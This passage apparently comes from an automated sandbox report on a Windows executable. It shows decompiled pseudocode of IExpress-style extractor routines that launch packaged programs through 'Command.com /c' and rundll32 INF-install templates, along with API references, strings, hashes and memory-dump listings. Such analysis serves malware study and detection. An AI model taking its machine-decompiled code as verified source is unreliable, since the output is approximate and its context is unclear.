									_t108 = E011B4669("POSTRUNPROGRAM",  &_v280, 0x104);
									__eflags = _t108;
									if(_t108 == 0) {
										goto L25;
									}
									__eflags =  *0x11b8c42;
									if( *0x11b8c42 != 0) {
										goto L69;
									}
									_t112 = CompareStringA(0x7f, 1,  &_v280, 0xffffffff, "<None>", 0xffffffff);
									__eflags = _t112 == 0;
									if(_t112 == 0) {
										goto L69;
									}
									goto L31;
								}
								_t118 =  *0x11b8a38; // 0x0
								if(_t118 == 0) {
									L23:
									if(_t153 != 0) {
										goto L31;
									}
									_t146 =  &_v276;
									if(E011B4669("RUNPROGRAM",  &_v276, 0x104) != 0) {
										goto L27;
									}
									goto L25;
								}
								if((_t118 & 0x00000001) == 0) {
									__eflags = _t118 & 0x00000002;
									if((_t118 & 0x00000002) == 0) {
										goto L62;
									}
									_t140 = "USRQCMD";
									L20:
									_t146 =  &_v276;
									if(E011B4669(_t140,  &_v276, 0x104) == 0) {
										goto L25;
									}
									if(CompareStringA(0x7f, 1,  &_v276, 0xffffffff, "<None>", 0xffffffff) - 2 != 0xfffffffe) {
										_t153 = 1;
										_v388 = 1;
									}
									goto L23;
								}
								_t140 = "ADMQCMD";
								goto L20;
							}
						}
						L26:
						_push(_t130);
						_t146 = 0x104;
						E011B17A1( &_v276, 0x104, _t130, 0x11b8c42);
						goto L27;
					}
				}
				_t130 = "REBOOT";
				_t125 = E011B4669(_t130, 0x11b9a2c, 4);
				if(_t125 == 0 || _t125 > 4) {
					goto L25;
				} else {
					goto L3;
				}
			}

0x011b3b96
0x011b3b9c
0x011b3ba3
0x011b3bac
0x011b3bae
0x011b3bb5
0x011b3bb7
0x011b3bbb
0x011b3bbf
0x011b3bc5
0x011b3be9
0x011b3be9
0x011b3beb
0x011b3bef
0x011b3bef
0x011b3bfd
0x011b3c02
0x011b3c05
0x011b3c14
0x00000000
0x00000000
0x011b3c1c
0x011b3c25
0x011b3c2c
0x011b3cff
0x011b3d01
0x011b3d0d
0x011b3d12
0x00000000
0x011b3c3b
0x011b3c42
0x011b3c4c
0x011b3c51
0x011b3c63
0x011b3c64
0x011b3c68
0x011b3c6a
0x011b3c6e
0x011b3c6e
0x00000000
0x011b3c68
0x011b3c53
0x011b3c55
0x011b3c59
0x00000000
0x011b3c44
0x011b3c44
0x011b3c5a
0x011b3c5a
0x011b3c73
0x011b3c75
0x011b3d39
0x011b3d3b
0x011b3d3c
0x011b3d3e
0x011b3d8a
0x011b3d94
0x011b3d9b
0x011b3da0
0x011b3da2
0x011b3f39
0x011b3f39
0x011b3f3b
0x011b3f42
0x011b3f43
0x011b3f44
0x011b3f4f
0x011b3f4f
0x011b3da8
0x011b3dac
0x011b3dae
0x011b3dd2
0x011b3dd2
0x011b3dd4
0x011b3ef7
0x011b3ef7
0x011b3efb
0x011b3eff
0x011b3f01
0x011b3f06
0x011b3f08
0x011b3f32
0x011b3f33
0x00000000
0x011b3f33
0x011b3f0a
0x011b3f0b
0x011b3f11
0x011b3f12
0x011b3f16
0x011b3f19
0x011b3fc5
0x011b3fc5
0x011b3fc6
0x011b3fc6
0x011b3fcd
0x011b3fcf
0x011b3fcf
0x011b3fd4
0x00000000
0x011b3fd4
0x011b3f1f
0x011b3f23
0x00000000
0x011b3f23
0x011b3dda
0x011b3dda
0x011b3de1
0x011b3f99
0x011b3fa5
0x011b3fae
0x011b3fb4
0x00000000
0x011b3fb4
0x011b3de7
0x011b3de9
0x00000000
0x00000000
0x011b3def
0x011b3df6
0x00000000
0x00000000
0x011b3e01
0x011b3e03
0x011b3e05
0x011b3f80
0x011b3f90
0x011b3f68
0x011b3f6c
0x011b3f77
0x00000000
0x011b3f77
0x011b3e18
0x011b3e1c
0x011b3e20
0x011b3e22
0x011b3f55
0x011b3f5a
0x011b3f5c
0x011b3f62
0x00000000
0x011b3f62
0x011b3e28
0x011b3e2f
0x011b3e33
0x011b3e3e
0x011b3e42
0x011b3e48
0x011b3e4d
0x011b3e54
0x011b3e5c
0x011b3e60
0x011b3e68
0x011b3e6c
0x011b3e6e
0x011b3e6e
0x011b3e73
0x011b3e73
0x011b3e77
0x011b3e7d
0x011b3e80
0x011b3e82
0x011b3e82
0x011b3e87
0x011b3e87
0x011b3e8b
0x011b3e8e
0x011b3e90
0x011b3e90
0x011b3e95
0x011b3e95
0x011b3e99
0x011b3e9f
0x011b3ea2
0x011b3ea4
0x011b3ea4
0x011b3ea9
0x011b3ea9
0x011b3ead
0x011b3eaf
0x011b3eb1
0x011b3eb1
0x011b3eb6
0x011b3eb6
0x011b3eba
0x011b3ec1
0x011b3ec5
0x011b3ecc
0x011b3ed2
0x011b3ed6
0x011b3ed8
0x011b3eda
0x011b3edf
0x011b3edf
0x011b3ee1
0x011b3ee6
0x011b3ee7
0x011b3ee9
0x011b3f2c
0x00000000
0x011b3eeb
0x011b3eeb
0x011b3ef1
0x00000000
0x011b3ef1
0x011b3ee9
0x011b3db3
0x011b3dba
0x00000000
0x00000000
0x011b3dbc
0x011b3dc3
0x00000000
0x00000000
0x011b3dc5
0x011b3dc7
0x00000000
0x00000000
0x011b3dc9
0x011b3dcd
0x00000000
0x011b3dcd
0x011b3d45
0x011b3d51
0x011b3d56
0x011b3d58
0x00000000
0x00000000
0x011b3d5a
0x011b3d61
0x00000000
0x00000000
0x011b3d7b
0x011b3d82
0x011b3d84
0x00000000
0x00000000
0x00000000
0x011b3d84
0x011b3c7b
0x011b3c84
0x011b3cdd
0x011b3cdf
0x00000000
0x00000000
0x011b3cea
0x011b3cfd
0x00000000
0x00000000
0x00000000
0x011b3cfd
0x011b3c88
0x011b3c91
0x011b3c93
0x00000000
0x00000000
0x011b3c99
0x011b3c9e
0x011b3ca3
0x011b3cb1
0x00000000
0x00000000
0x011b3cd4
0x011b3cd8
0x011b3cd9
0x011b3cd9
0x00000000
0x011b3cd4
0x011b3c8a
0x00000000
0x011b3c8a
0x011b3c42
0x011b3d21
0x011b3d21
0x011b3d28
0x011b3d34
0x00000000
0x011b3d34
0x011b3bef
0x011b3bce
0x011b3bd3
0x011b3bda
0x00000000
0x00000000
0x00000000
0x00000000

APIs

memset.MSVCRT ref: 011B3BFD
CompareStringA.KERNEL32(0000007F,00000001,?,000000FF,<None>,000000FF,00000104,00000004), ref: 011B3CC8

Part of subcall function 011B4669: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 011B467A
Part of subcall function 011B4669: SizeofResource.KERNEL32(00000000,00000000,?,011B2D11,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 011B4683
Part of subcall function 011B4669: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 011B469D
Part of subcall function 011B4669: LoadResource.KERNEL32(00000000,00000000,?,011B2D11,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 011B46A6
Part of subcall function 011B4669: LockResource.KERNEL32(00000000,?,011B2D11,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 011B46AD
Part of subcall function 011B4669: memcpy_s.MSVCRT ref: 011B46BF
Part of subcall function 011B4669: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 011B46C9

CompareStringA.KERNEL32(0000007F,00000001,?,000000FF,<None>,000000FF,00000104,?,011B8C42), ref: 011B3D7B
GetProcAddress.KERNEL32(00000000,DoInfInstall), ref: 011B3E12
FreeLibrary.KERNEL32(00000000,?,011B8C42), ref: 011B3EEB
LocalFree.KERNEL32(?,?,?,?,011B8C42), ref: 011B3F0B
FreeLibrary.KERNEL32(00000000,?,011B8C42), ref: 011B3F2C
LocalFree.KERNEL32(?,?,?,?,011B8C42), ref: 011B3F33
FreeLibrary.KERNEL32(00000000,DoInfInstall,00000000,00000010,00000000,?,011B8C42), ref: 011B3F62
LocalFree.KERNEL32(?,advpack.dll,00000000,00000010,00000000,?,?,?,011B8C42), ref: 011B3F6C
LocalFree.KERNEL32(?,00000000,00000000,00000010,00000000,?,?,?,011B8C42), ref: 011B3FAE

Strings

<None>, xrefs: 011B3CB5, 011B3D69
ADMQCMD, xrefs: 011B3C8A
RUNPROGRAM, xrefs: 011B3CF1
POSTRUNPROGRAM, xrefs: 011B3D4C
DoInfInstall, xrefs: 011B3E0B, 011B3E10, 011B3F54
SHOWWINDOW, xrefs: 011B3C20
REBOOT, xrefs: 011B3BCE
advpack.dll, xrefs: 011B3F89
C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 011B3E60
gGhd, xrefs: 011B3E54
USRQCMD, xrefs: 011B3C99
D, xrefs: 011B3C05

Memory Dump Source

Source File: 0000000E.00000002.784682624.00000000011B1000.00000020.00020000.sdmp, Offset: 011B0000, based on PE: true

Associated: 0000000E.00000002.784631371.00000000011B0000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.784862934.00000000011B8000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.784971350.00000000011BA000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.785008607.00000000011BC000.00000002.00020000.sdmp Download File

Similarity

API ID: Free$Resource$Local$Library$CompareFindString$AddressLoadLockProcSizeofmemcpy_smemset
String ID: <None>$ADMQCMD$C:\Users\user\AppData\Local\Temp\IXP000.TMP\$D$DoInfInstall$POSTRUNPROGRAM$REBOOT$RUNPROGRAM$SHOWWINDOW$USRQCMD$advpack.dll$gGhd
API String ID: 1032054927-1909501976
Opcode ID: c6f2ad74175354977cd41a53427add2c1f6c1532682cf7b7d1004949c8bce04a
Instruction ID: bc56ebaa8d6cf295dec4ca1377679d0bc85ba9545735d8f60b62c65283e8315e
Opcode Fuzzy Hash: c6f2ad74175354977cd41a53427add2c1f6c1532682cf7b7d1004949c8bce04a
Instruction Fuzzy Hash: B8B1D0B06283119BE73C9F68D8C5BEB7AE4FB84714F10492EFAA5D2180D770C895CB52

Uniqueness

Uniqueness Score: -1.00%

Function 011B1B04, Relevance: 38.8, APIs: 10, Strings: 12, Instructions: 290
memoryCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E011B1B04(long __ecx, CHAR** _a4, int* _a8) {
				signed int _v8;
				char _v268;
				char _v527;
				char _v528;
				char _v1552;
				CHAR* _v1556;
				int* _v1560;
				CHAR** _v1564;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t48;
				CHAR* _t53;
				CHAR* _t54;
				char* _t57;
				char* _t58;
				CHAR* _t60;
				void* _t62;
				signed char _t65;
				intOrPtr _t76;
				intOrPtr _t77;
				unsigned int _t85;
				CHAR* _t90;
				CHAR* _t92;
				char _t105;
				char _t106;
				CHAR** _t111;
				CHAR* _t115;
				intOrPtr* _t125;
				void* _t126;
				CHAR* _t132;
				CHAR* _t135;
				void* _t138;
				void* _t139;
				void* _t145;
				intOrPtr* _t146;
				char* _t148;
				CHAR* _t151;
				void* _t152;
				CHAR* _t155;
				CHAR* _t156;
				void* _t157;
				signed int _t158;

				_t48 =  *0x11b8004; // 0x714bc98c
				_v8 = _t48 ^ _t158;
				_t108 = __ecx;
				_v1564 = _a4;
				_v1560 = _a8;
				E011B16A0( &_v528, 0x104, __ecx);
				if(_v528 != 0x22) {
					_t135 = " ";
					_t53 =  &_v528;
				} else {
					_t135 = "\"";
					_t53 =  &_v527;
				}
				_t111 =  &_v1556;
				_v1556 = _t53;
				_t54 = E011B1AA2(_t111, _t135);
				_t156 = _v1556;
				_t151 = _t54;
				if(_t156 == 0) {
					L12:
					_push(_t111);
					E011B17A1( &_v268, 0x104, _t111, "C:\Users\jones\AppData\Local\Temp\IXP000.TMP\");
					E011B6534( &_v268, 0x104, _t156);
					goto L13;
				} else {
					_t132 = _t156;
					_t148 =  &(_t132[1]);
					do {
						_t105 =  *_t132;
						_t132 =  &(_t132[1]);
					} while (_t105 != 0);
					_t111 = _t132 - _t148;
					if(_t111 < 3) {
						goto L12;
					}
					_t106 = _t156[1];
					if(_t106 != 0x3a || _t156[2] != 0x5c) {
						if( *_t156 != 0x5c || _t106 != 0x5c) {
							goto L12;
						} else {
							goto L11;
						}
					} else {
						L11:
						E011B16A0( &_v268, 0x104, _t156);
						L13:
						_t138 = 0x2e;
						_t57 = E011B6670(_t156, _t138);
						if(_t57 == 0 || CompareStringA(0x7f, 1, _t57, 0xffffffff, ".INF", 0xffffffff) != 0) {
							_t139 = 0x2e;
							_t115 = _t156;
							_t58 = E011B6670(_t115, _t139);
							if(_t58 == 0 || CompareStringA(0x7f, 1, _t58, 0xffffffff, ".BAT", 0xffffffff) != 0) {
								_t156 = LocalAlloc(0x40, 0x400);
								if(_t156 == 0) {
									goto L43;
								}
								_t65 = GetFileAttributesA( &_v268); // executed
								if(_t65 == 0xffffffff || (_t65 & 0x00000010) != 0) {
									E011B16A0( &_v1552, 0x400, _t108);
								} else {
									_push(_t115);
									_t108 = 0x400;
									E011B17A1( &_v1552, 0x400, _t115,  &_v268);
									if(_t151 != 0 &&  *_t151 != 0) {
										E011B16D3( &_v1552, 0x400, " ");
										E011B16D3( &_v1552, 0x400, _t151);
									}
								}
								_t140 = _t156;
								 *_t156 = 0;
								E011B2AA5( &_v1552, _t156, _t156);
								goto L53;
							} else {
								_t108 = "Command.com /c %s";
								_t125 = "Command.com /c %s";
								_t145 = _t125 + 1;
								do {
									_t76 =  *_t125;
									_t125 = _t125 + 1;
								} while (_t76 != 0);
								_t126 = _t125 - _t145;
								_t146 =  &_v268;
								_t157 = _t146 + 1;
								do {
									_t77 =  *_t146;
									_t146 = _t146 + 1;
								} while (_t77 != 0);
								_t140 = _t146 - _t157;
								_t154 = _t126 + 8 + _t146 - _t157;
								_t156 = LocalAlloc(0x40, _t126 + 8 + _t146 - _t157);
								if(_t156 != 0) {
									E011B173E(_t156, _t154, "Command.com /c %s",  &_v268);
									goto L53;
								}
								goto L43;
							}
						} else {
							_t85 = GetFileAttributesA( &_v268);
							if(_t85 == 0xffffffff || ( !(_t85 >> 4) & 0x00000001) == 0) {
								_t140 = 0x525;
								_push(0);
								_push(0x10);
								_push(0);
								_t60 =  &_v268;
								goto L35;
							} else {
								_t140 = "[";
								_v1556 = _t151;
								_t90 = E011B1AA2( &_v1556, "[");
								if(_t90 != 0) {
									if( *_t90 != 0) {
										_v1556 = _t90;
									}
									_t140 = "]";
									E011B1AA2( &_v1556, "]");
								}
								_t156 = LocalAlloc(0x40, 0x200);
								if(_t156 == 0) {
									L43:
									_t60 = 0;
									_t140 = 0x4b5;
									_push(0);
									_push(0x10);
									_push(0);
									L35:
									_push(_t60);
									E011B4495(0, _t140);
									_t62 = 0;
									goto L54;
								} else {
									_t155 = _v1556;
									_t92 = _t155;
									if( *_t155 == 0) {
										_t92 = "DefaultInstall";
									}
									 *0x11b9120 = GetPrivateProfileIntA(_t92, "Reboot", 0,  &_v268);
									 *_v1560 = 1;
									if(GetPrivateProfileStringA("Version", "AdvancedINF", 0x11b1140, _t156, 8,  &_v268) == 0) {
										 *0x11b9a34 =  *0x11b9a34 & 0xfffffffb;
										if( *0x11b9a40 != 0) {
											_t108 = "setupapi.dll";
										} else {
											_t108 = "setupx.dll";
											GetShortPathNameA( &_v268,  &_v268, 0x104);
										}
										if( *_t155 == 0) {
											_t155 = "DefaultInstall";
										}
										_push( &_v268);
										_push(_t155);
										E011B173E(_t156, 0x200, "rundll32.exe %s,InstallHinfSection %s 128 %s", _t108);
									} else {
										 *0x11b9a34 =  *0x11b9a34 | 0x00000004;
										if( *_t155 == 0) {
											_t155 = "DefaultInstall";
										}
										E011B16A0(_t108, 0x104, _t155);
										_t140 = 0x200;
										E011B16A0(_t156, 0x200,  &_v268);
									}
									L53:
									_t62 = 1;
									 *_v1564 = _t156;
									L54:
									_pop(_t152);
									return E011B6C80(_t62, _t108, _v8 ^ _t158, _t140, _t152, _t156);
								}
							}
						}
					}
				}
			}

0x011b1b0f
0x011b1b16
0x011b1b23
0x011b1b25
0x011b1b36
0x011b1b3c
0x011b1b48
0x011b1b57
0x011b1b5c
0x011b1b4a
0x011b1b4a
0x011b1b4f
0x011b1b4f
0x011b1b62
0x011b1b68
0x011b1b6e
0x011b1b73
0x011b1b79
0x011b1b7d
0x011b1bbb
0x011b1bbb
0x011b1bcd
0x011b1bde
0x00000000
0x011b1b7f
0x011b1b7f
0x011b1b81
0x011b1b84
0x011b1b84
0x011b1b86
0x011b1b87
0x011b1b8b
0x011b1b90
0x00000000
0x00000000
0x011b1b92
0x011b1b97
0x011b1ba2
0x00000000
0x00000000
0x00000000
0x00000000
0x011b1ba8
0x011b1ba8
0x011b1bb4
0x011b1be3
0x011b1be5
0x011b1be8
0x011b1bef
0x011b1d91
0x011b1d92
0x011b1d94
0x011b1d9b
0x011b1e21
0x011b1e25
0x00000000
0x00000000
0x011b1e2e
0x011b1e37
0x011b1e8f
0x011b1e3d
0x011b1e3d
0x011b1e44
0x011b1e53
0x011b1e5a
0x011b1e6e
0x011b1e7c
0x011b1e7c
0x011b1e5a
0x011b1e95
0x011b1e97
0x011b1ea0
0x00000000
0x011b1db7
0x011b1db7
0x011b1dbc
0x011b1dbe
0x011b1dc1
0x011b1dc1
0x011b1dc3
0x011b1dc4
0x011b1dc8
0x011b1dca
0x011b1dd0
0x011b1dd3
0x011b1dd3
0x011b1dd5
0x011b1dd6
0x011b1dda
0x011b1ddf
0x011b1dea
0x011b1dee
0x011b1e07
0x00000000
0x011b1e0c
0x00000000
0x011b1dee
0x011b1c13
0x011b1c1a
0x011b1c23
0x011b1d71
0x011b1d76
0x011b1d77
0x011b1d79
0x011b1d7a
0x00000000
0x011b1c37
0x011b1c37
0x011b1c3c
0x011b1c48
0x011b1c4f
0x011b1c54
0x011b1c56
0x011b1c56
0x011b1c5c
0x011b1c67
0x011b1c67
0x011b1c79
0x011b1c7d
0x011b1df0
0x011b1df0
0x011b1df2
0x011b1df7
0x011b1df8
0x011b1dfa
0x011b1d80
0x011b1d80
0x011b1d83
0x011b1d88
0x00000000
0x011b1c83
0x011b1c83
0x011b1c89
0x011b1c8e
0x011b1c90
0x011b1c90
0x011b1caa
0x011b1cb5
0x011b1cdc
0x011b1d14
0x011b1d23
0x011b1d3f
0x011b1d25
0x011b1d30
0x011b1d37
0x011b1d37
0x011b1d47
0x011b1d49
0x011b1d49
0x011b1d54
0x011b1d55
0x011b1d62
0x011b1cde
0x011b1cde
0x011b1ce8
0x011b1cea
0x011b1cea
0x011b1cf7
0x011b1d02
0x011b1d0a
0x011b1d0a
0x011b1ea5
0x011b1ead
0x011b1eae
0x011b1eb0
0x011b1eb3
0x011b1ebe
0x011b1ebe
0x011b1c7d
0x011b1c23
0x011b1bef
0x011b1b97

APIs

CompareStringA.KERNEL32(0000007F,00000001,00000000,000000FF,.INF,000000FF,?,?,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,?,?,00000000,00000001,00000000), ref: 011B1C03
GetFileAttributesA.KERNEL32(?,?,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,?,?,00000000,00000001,00000000), ref: 011B1C1A
LocalAlloc.KERNEL32(00000040,00000200,?,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,?,?,00000000,00000001,00000000), ref: 011B1C73
GetPrivateProfileIntA.KERNEL32(?,Reboot,00000000,?), ref: 011B1CA4
GetPrivateProfileStringA.KERNEL32(Version,AdvancedINF,011B1140,00000000,00000008,?), ref: 011B1CD4
GetShortPathNameA.KERNEL32(?,?,00000104), ref: 011B1D37

Part of subcall function 011B4495: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 011B44F4
Part of subcall function 011B4495: MessageBoxA.USER32(?,?,gGhd,00010010), ref: 011B4530

Strings

Command.com /c %s, xrefs: 011B1DB7, 011B1E04
setupx.dll, xrefs: 011B1D30
DefaultInstall, xrefs: 011B1C90, 011B1CA3, 011B1CEA, 011B1CEF, 011B1D49, 011B1D55
rundll32.exe %s,InstallHinfSection %s 128 %s, xrefs: 011B1D57
.BAT, xrefs: 011B1D9F
.INF, xrefs: 011B1BF7
Version, xrefs: 011B1CCF
AdvancedINF, xrefs: 011B1CCA
Reboot, xrefs: 011B1C9E
setupapi.dll, xrefs: 011B1D3F, 011B1D56
", xrefs: 011B1B41
C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 011B1BBC

Memory Dump Source

Source File: 0000000E.00000002.784682624.00000000011B1000.00000020.00020000.sdmp, Offset: 011B0000, based on PE: true

Associated: 0000000E.00000002.784631371.00000000011B0000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.784862934.00000000011B8000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.784971350.00000000011BA000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.785008607.00000000011BC000.00000002.00020000.sdmp Download File

Similarity

API ID: String$PrivateProfile$AllocAttributesCompareFileLoadLocalMessageNamePathShort
String ID: "$.BAT$.INF$AdvancedINF$C:\Users\user\AppData\Local\Temp\IXP000.TMP\$Command.com /c %s$DefaultInstall$Reboot$Version$rundll32.exe %s,InstallHinfSection %s 128 %s$setupapi.dll$setupx.dll
API String ID: 383838535-2280873615
Opcode ID: 1f5a012646fd97a53d5822548d0b0f18e011802670bab511fa9372641becfe84
Instruction ID: 605fc7b32a7e27f2d80155b8b07e88ce3ec404e231dbe9c865b0c8c2e8c3993c
Opcode Fuzzy Hash: 1f5a012646fd97a53d5822548d0b0f18e011802670bab511fa9372641becfe84
Instruction Fuzzy Hash: 7DA16B71A002187BEB3D9B28ECE4BEA3769AF45314F1642A4E555E32C0DBB09EC5CB10

Uniqueness

Uniqueness Score: -1.00%

Function 011B5933, Relevance: 19.7, APIs: 13, Instructions: 211
windowCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E011B5933(CHAR* __ecx, signed char __edx, void* __edi, intOrPtr _a4) {
				signed int _v8;
				char _v16;
				char _v276;
				char _v788;
				long _v792;
				long _v796;
				long _v800;
				signed int _v804;
				long _v808;
				int _v812;
				long _v816;
				long _v820;
				void* __ebx;
				void* __esi;
				signed int _t46;
				int _t50;
				signed int _t55;
				void* _t66;
				int _t69;
				signed int _t73;
				signed short _t78;
				signed int _t87;
				signed int _t101;
				int _t102;
				unsigned int _t103;
				unsigned int _t105;
				signed int _t111;
				long _t112;
				signed int _t116;
				CHAR* _t118;
				signed int _t119;
				signed int _t120;

				_t114 = __edi;
				_t46 =  *0x11b8004; // 0x714bc98c
				_v8 = _t46 ^ _t120;
				_v804 = __edx;
				_t118 = __ecx;
				GetCurrentDirectoryA(0x104,  &_v276);
				_t50 = SetCurrentDirectoryA(_t118); // executed
				if(_t50 != 0) {
					_push(__edi);
					_v796 = 0;
					_v792 = 0;
					_v800 = 0;
					_v808 = 0;
					_t55 = GetDiskFreeSpaceA(0,  &_v796,  &_v792,  &_v800,  &_v808); // executed
					__eflags = _t55;
					if(_t55 == 0) {
						L29:
						memset( &_v788, 0, 0x200);
						 *0x11b9124 = E011B6233();
						FormatMessageA(0x1000, 0, GetLastError(), 0,  &_v788, 0x200, 0);
						_t110 = 0x4b0;
						L30:
						__eflags = 0;
						E011B4495(0, _t110, _t118,  &_v788, 0x10, 0);
						SetCurrentDirectoryA( &_v276);
						L31:
						_t66 = 0;
						__eflags = 0;
						L32:
						_pop(_t114);
						goto L33;
					}
					_t69 = _v792 * _v796;
					_v812 = _t69;
					_t116 = MulDiv(_t69, _v800, 0x400);
					__eflags = _t116;
					if(_t116 == 0) {
						goto L29;
					}
					_t73 = GetVolumeInformationA(0, 0, 0, 0,  &_v820,  &_v816, 0, 0); // executed
					__eflags = _t73;
					if(_t73 != 0) {
						SetCurrentDirectoryA( &_v276); // executed
						_t101 =  &_v16;
						_t111 = 6;
						_t119 = _t118 - _t101;
						__eflags = _t119;
						while(1) {
							_t22 = _t111 - 4; // 0x2
							__eflags = _t22;
							if(_t22 == 0) {
								break;
							}
							_t87 =  *((intOrPtr*)(_t119 + _t101));
							__eflags = _t87;
							if(_t87 == 0) {
								break;
							}
							 *_t101 = _t87;
							_t101 = _t101 + 1;
							_t111 = _t111 - 1;
							__eflags = _t111;
							if(_t111 != 0) {
								continue;
							}
							break;
						}
						__eflags = _t111;
						if(_t111 == 0) {
							_t101 = _t101 - 1;
							__eflags = _t101;
						}
						 *_t101 = 0;
						_t112 = 0x200;
						_t102 = _v812;
						_t78 = 0;
						_t118 = 8;
						while(1) {
							__eflags = _t102 - _t112;
							if(_t102 == _t112) {
								break;
							}
							_t112 = _t112 + _t112;
							_t78 = _t78 + 1;
							__eflags = _t78 - _t118;
							if(_t78 < _t118) {
								continue;
							}
							break;
						}
						__eflags = _t78 - _t118;
						if(_t78 != _t118) {
							__eflags =  *0x11b9a34 & 0x00000008;
							if(( *0x11b9a34 & 0x00000008) == 0) {
								L20:
								_t103 =  *0x11b9a38; // 0x0
								_t110 =  *((intOrPtr*)(0x11b89e0 + (_t78 & 0x0000ffff) * 4));
								L21:
								__eflags = (_v804 & 0x00000003) - 3;
								if((_v804 & 0x00000003) != 3) {
									__eflags = _v804 & 0x00000001;
									if((_v804 & 0x00000001) == 0) {
										__eflags = _t103 - _t116;
									} else {
										__eflags = _t110 - _t116;
									}
								} else {
									__eflags = _t103 + _t110 - _t116;
								}
								if(__eflags <= 0) {
									 *0x11b9124 = 0;
									_t66 = 1;
								} else {
									_t66 = E011B268A(_a4, _t110, _t103,  &_v16);
								}
								goto L32;
							}
							__eflags = _v816 & 0x00008000;
							if((_v816 & 0x00008000) == 0) {
								goto L20;
							}
							_t105 =  *0x11b9a38; // 0x0
							_t110 =  *((intOrPtr*)(0x11b89e0 + (_t78 & 0x0000ffff) * 4)) +  *((intOrPtr*)(0x11b89e0 + (_t78 & 0x0000ffff) * 4));
							_t103 = (_t105 >> 2) +  *0x11b9a38;
							goto L21;
						}
						_t110 = 0x4c5;
						E011B4495(0, 0x4c5, 0, 0, 0x10, 0);
						goto L31;
					}
					memset( &_v788, 0, 0x200);
					 *0x11b9124 = E011B6233();
					FormatMessageA(0x1000, 0, GetLastError(), 0,  &_v788, 0x200, 0);
					_t110 = 0x4f9;
					goto L30;
				} else {
					_t110 = 0x4bc;
					E011B4495(0, 0x4bc, 0, 0, 0x10, 0);
					 *0x11b9124 = E011B6233();
					_t66 = 0;
					L33:
					return E011B6C80(_t66, 0, _v8 ^ _t120, _t110, _t114, _t118);
				}
			}

0x011b5933
0x011b593e
0x011b5945
0x011b5950
0x011b595c
0x011b595e
0x011b5965
0x011b596f
0x011b5993
0x011b599a
0x011b59a7
0x011b59b4
0x011b59c1
0x011b59c9
0x011b59cf
0x011b59d1
0x011b5b57
0x011b5b65
0x011b5b73
0x011b5b8e
0x011b5b94
0x011b5b99
0x011b5ba2
0x011b5ba6
0x011b5bb2
0x011b5bb8
0x011b5bb8
0x011b5bb8
0x011b5bba
0x011b5bba
0x00000000
0x011b5bba
0x011b59dd
0x011b59f0
0x011b59fc
0x011b59fe
0x011b5a00
0x00000000
0x00000000
0x011b5a1a
0x011b5a20
0x011b5a22
0x011b5a72
0x011b5a78
0x011b5a7f
0x011b5a80
0x011b5a80
0x011b5a82
0x011b5a82
0x011b5a85
0x011b5a87
0x00000000
0x00000000
0x011b5a89
0x011b5a8c
0x011b5a8e
0x00000000
0x00000000
0x011b5a90
0x011b5a92
0x011b5a93
0x011b5a93
0x011b5a96
0x00000000
0x00000000
0x00000000
0x011b5a96
0x011b5a98
0x011b5a9a
0x011b5a9c
0x011b5a9c
0x011b5a9c
0x011b5a9f
0x011b5aa1
0x011b5aa6
0x011b5aac
0x011b5aae
0x011b5aaf
0x011b5aaf
0x011b5ab1
0x00000000
0x00000000
0x011b5ab3
0x011b5ab5
0x011b5ab6
0x011b5ab9
0x00000000
0x00000000
0x00000000
0x011b5ab9
0x011b5abb
0x011b5abe
0x011b5ad6
0x011b5add
0x011b5b08
0x011b5b08
0x011b5b11
0x011b5b18
0x011b5b21
0x011b5b23
0x011b5b2c
0x011b5b33
0x011b5b39
0x011b5b35
0x011b5b35
0x011b5b35
0x011b5b25
0x011b5b28
0x011b5b28
0x011b5b3b
0x011b5b4e
0x011b5b54
0x011b5b3d
0x011b5b45
0x011b5b45
0x00000000
0x011b5b3b
0x011b5adf
0x011b5ae9
0x00000000
0x00000000
0x011b5aeb
0x011b5afe
0x011b5b00
0x00000000
0x011b5b00
0x011b5ac5
0x011b5acc
0x00000000
0x011b5acc
0x011b5a32
0x011b5a40
0x011b5a5b
0x011b5a61
0x00000000
0x011b5971
0x011b5976
0x011b597d
0x011b5987
0x011b598c
0x011b5bbb
0x011b5bc8
0x011b5bc8

APIs

GetCurrentDirectoryA.KERNEL32(00000104,?,00000000,00000000), ref: 011B595E
SetCurrentDirectoryA.KERNELBASE(?), ref: 011B5965
GetDiskFreeSpaceA.KERNELBASE(00000000,?,?,?,?,00000001), ref: 011B59C9
MulDiv.KERNEL32(?,?,00000400), ref: 011B59F6
GetVolumeInformationA.KERNELBASE(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 011B5A1A
memset.MSVCRT ref: 011B5A32
GetLastError.KERNEL32(00000000,?,00000200,00000000), ref: 011B5A4E
FormatMessageA.KERNEL32(00001000,00000000,00000000), ref: 011B5A5B
SetCurrentDirectoryA.KERNEL32(?,?,?,00000010,00000000), ref: 011B5BB2

Part of subcall function 011B4495: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 011B44F4
Part of subcall function 011B4495: MessageBoxA.USER32(?,?,gGhd,00010010), ref: 011B4530

Part of subcall function 011B6233: GetLastError.KERNEL32(011B5B72), ref: 011B6233

Memory Dump Source

Source File: 0000000E.00000002.784682624.00000000011B1000.00000020.00020000.sdmp, Offset: 011B0000, based on PE: true

Associated: 0000000E.00000002.784631371.00000000011B0000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.784862934.00000000011B8000.00000004.00020000.sdmp Download File
